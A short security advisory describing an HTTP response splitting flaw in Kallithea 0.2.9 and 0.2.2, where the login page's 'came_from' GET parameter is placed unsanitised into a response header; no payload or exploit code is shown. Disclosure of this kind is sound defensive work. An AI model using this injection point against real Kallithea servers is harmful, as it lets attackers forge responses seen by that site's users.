Kallithea 0.2.9 (came_from) HTTP Response Splitting Vulnerability


Vendor: Kallithea
Product web page: https://www.kallithea-scm.org
Version affected: 0.2.9 and 0.2.2

Summary: Kallithea, a member project of Software Freedom Conservancy,
is a GPLv3'd, Free Software source code management system that supports
two leading version control systems, Mercurial and Git, and has a web
interface that is easy to use for users and admins.

Desc: Kallithea suffers from a HTTP header injection (response splitting)
vulnerability because it fails to properly sanitize user input before
using it as an HTTP header value via the GET 'came_from' parameter in
the login instance. This type of attack not only allows a malicious
user to control the remaining headers and body of the response the
application intends to send, but also allow them to create additional
responses entirely under their control.

Tested on: Kali
           Python
